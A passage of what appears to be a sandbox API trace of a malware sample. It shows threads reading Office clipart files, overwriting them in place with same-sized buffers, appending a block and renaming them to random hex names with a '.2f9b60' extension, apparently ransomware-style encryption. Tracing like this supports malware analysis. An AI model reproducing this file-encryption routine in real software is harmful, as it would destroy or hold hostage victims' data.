returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="16") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="99") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="16") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="94") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="37") returned 2 [0163.468] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.468] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.468] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="6b") returned 2 [0163.468] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="01") returned 2 [0163.468] RtlInitAnsiString (in: DestinationString=0x2358f6c8, SourceString="0526aae73c5f8dabe40167ebe316d09916949f370b6f6b01" | out: DestinationString="0526aae73c5f8dabe40167ebe316d09916949f370b6f6b01") [0163.468] RtlAnsiStringToUnicodeString (in: DestinationString=0x2358f698, SourceString="0526aae73c5f8dabe40167ebe316d09916949f370b6f6b01", AllocateDestinationString=1 | out: DestinationString="0526aae73c5f8dabe40167ebe316d09916949f370b6f6b01") returned 0x0 [0163.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8576b0 [0163.468] RtlFreeAnsiString (AnsiString="0") [0163.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac15e0) returned 1 [0163.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab4f0) returned 1 [0163.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4df0) returned 1 [0163.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4e20) returned 1 [0163.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4dc0) returned 1 [0163.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abe50) returned 1 [0163.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab7f0) returned 1 [0163.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0163.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab790) returned 1 [0163.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5f70 [0163.472] wcscat (in: _Dest=0x1cdb5f70, _Source="0526aae73c5f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f" [0163.472] wcscat (in: _Dest=0x1cdb5f70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f.2f9b60" [0163.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f.2f9b60", NtPathName=0x2358f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0526aae73c5f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce235e0 Thread: id = 2325 os_tid = 0x1cb8 [0149.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0149.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF", dwFileAttributes=0x20) returned 1 [0149.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eb4 [0149.328] GetFileSizeEx (in: hFile=0x1eb4, lpFileSize=0x236ffa00 | out: lpFileSize=0x236ffa00*=712) returned 1 [0149.328] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.328] ReadFile (in: hFile=0x1eb4, lpBuffer=0x236ff980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x236ff9c8, lpOverlapped=0x0 | out: lpBuffer=0x236ff980*, lpNumberOfBytesRead=0x236ff9c8*=0x4, lpOverlapped=0x0) returned 1 [0149.329] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd00 [0149.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab040 [0149.330] NtQuerySystemTime (in: CurrentTime=0x236ff8c0 | out: CurrentTime=0x236ff8c0*=132462177545410000) returned 0x0 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x42131deb [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x4e5d72c9 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x3f20b711 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x73f6153c [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x2a0c0a8 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x408924f4 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x6a258052 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x4202ee98 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x64c216ec [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x7c6018d1 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x2031e20f [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0xbb5fd03 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0xb54e43 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x1904b361 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x3ec7c904 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x2a34438b [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x59ac5917 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x7054eacf [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x71ff63a5 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0xa8e0f2d [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x3c7e1ab1 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x572d2f5c [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x664dae82 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x39ec71ad [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x57766cd0 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x39b29416 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x7cb00545 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x220e6be1 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x58483e75 [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x3b186e4b [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x73407f0d [0149.330] RtlRandomEx (in: Seed=0x236ff8b0 | out: Seed=0x236ff8b0) returned 0x5baa87de [0149.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0149.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f580 [0149.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0149.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab040) returned 1 [0149.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0149.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0149.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0149.340] ReadFile (in: hFile=0x1eb4, lpBuffer=0x41e04990, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x236ff8b0, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesRead=0x236ff8b0*=0x2c8, lpOverlapped=0x0) returned 1 [0149.340] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.340] WriteFile (in: hFile=0x1eb4, lpBuffer=0x4223c5b0*, nNumberOfBytesToWrite=0x2c8, lpNumberOfBytesWritten=0x236ff8b4, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesWritten=0x236ff8b4*=0x2c8, lpOverlapped=0x0) returned 1 [0161.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4fd0 [0161.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5000 [0161.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5000) returned 1 [0161.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0161.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0161.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0161.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0161.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5000 [0161.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0161.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0161.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5030 [0161.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5030) returned 1 [0161.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5030 [0161.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5060 [0161.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5090 [0161.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5090) returned 1 [0161.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0161.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0161.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab610 [0161.695] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.695] WriteFile (in: hFile=0x1eb4, lpBuffer=0x423ab610*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x236ff9d0, lpOverlapped=0x0 | out: lpBuffer=0x423ab610*, lpNumberOfBytesWritten=0x236ff9d0*=0x10a, lpOverlapped=0x0) returned 1 [0163.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053610 [0163.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053610) returned 1 [0163.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053610 [0163.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420535e0 [0163.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420535e0) returned 1 [0163.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.496] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="f1") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="da") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="32") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="83") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="17") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="12") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="a4") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="14") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.496] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.497] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.497] RtlInitAnsiString (in: DestinationString=0x236ffa48, SourceString="8d5b3a3ef17bdaf732f783f63f17b9123aa47de714a3ed6e" | out: DestinationString="8d5b3a3ef17bdaf732f783f63f17b9123aa47de714a3ed6e") [0163.497] RtlAnsiStringToUnicodeString (in: DestinationString=0x236ffa18, SourceString="8d5b3a3ef17bdaf732f783f63f17b9123aa47de714a3ed6e", AllocateDestinationString=1 | out: DestinationString="8d5b3a3ef17bdaf732f783f63f17b9123aa47de714a3ed6e") returned 0x0 [0163.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857790 [0163.497] RtlFreeAnsiString (AnsiString="8") [0163.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053610) returned 1 [0163.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab610) returned 1 [0163.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5030) returned 1 [0163.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5060) returned 1 [0163.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5000) returned 1 [0163.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4fd0) returned 1 [0163.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd00) returned 1 [0163.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0163.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f580) returned 1 [0163.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6150 [0163.500] wcscat (in: _Dest=0x1cdb6150, _Source="8d5b3a3ef17b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b" [0163.500] wcscat (in: _Dest=0x1cdb6150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b.2f9b60" [0163.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b.2f9b60", NtPathName=0x236ff9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8d5b3a3ef17b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23820 Thread: id = 2326 os_tid = 0x1cbc [0149.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0149.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF", dwFileAttributes=0x20) returned 1 [0149.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c24 [0149.348] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2385f920 | out: lpFileSize=0x2385f920*=1932) returned 1 [0149.348] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x788, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.348] ReadFile (in: hFile=0x1c24, lpBuffer=0x2385f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2385f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2385f8a0*, lpNumberOfBytesRead=0x2385f8e8*=0x4, lpOverlapped=0x0) returned 1 [0149.351] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab040 [0149.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f610 [0149.352] NtQuerySystemTime (in: CurrentTime=0x2385f7e0 | out: CurrentTime=0x2385f7e0*=132462177545566000) returned 0x0 [0149.352] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0xbd8caeb [0149.352] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x1a45849c [0149.352] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x5015ea12 [0149.352] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x53272d6a [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x21b2141e [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x47925f19 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x5f978e0 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x1815a243 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x5e88a8b8 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0xa4b58e6 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x698bb2e0 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x5eaf44d0 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x6b55e25c [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x559e77ea [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x46c77945 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x7036ebf6 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x4b4f1476 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x46b3bf96 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x2d34358c [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x2dc6e46f [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x3da7c358 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x1842b7bd [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x1229620a [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x5aa7e534 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x76ff32e1 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x24ddb876 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x10e65f34 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x2ac1bb3c [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x7e60d585 [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x42910b4e [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0xfbcff8b [0149.353] RtlRandomEx (in: Seed=0x2385f7d0 | out: Seed=0x2385f7d0) returned 0x2e48050 [0149.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef20 [0149.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0149.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0149.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0149.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f610) returned 1 [0149.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0149.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0149.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0149.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202ee1b0 [0149.364] ReadFile (in: hFile=0x1c24, lpBuffer=0x42225d50, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x2385f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesRead=0x2385f7d0*=0x78c, lpOverlapped=0x0) returned 1 [0149.365] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.365] WriteFile (in: hFile=0x1c24, lpBuffer=0x202ee1b0*, nNumberOfBytesToWrite=0x78c, lpNumberOfBytesWritten=0x2385f7d4, lpOverlapped=0x0 | out: lpBuffer=0x202ee1b0*, lpNumberOfBytesWritten=0x2385f7d4*=0x78c, lpOverlapped=0x0) returned 1 [0161.705] RtlAllocateHeap 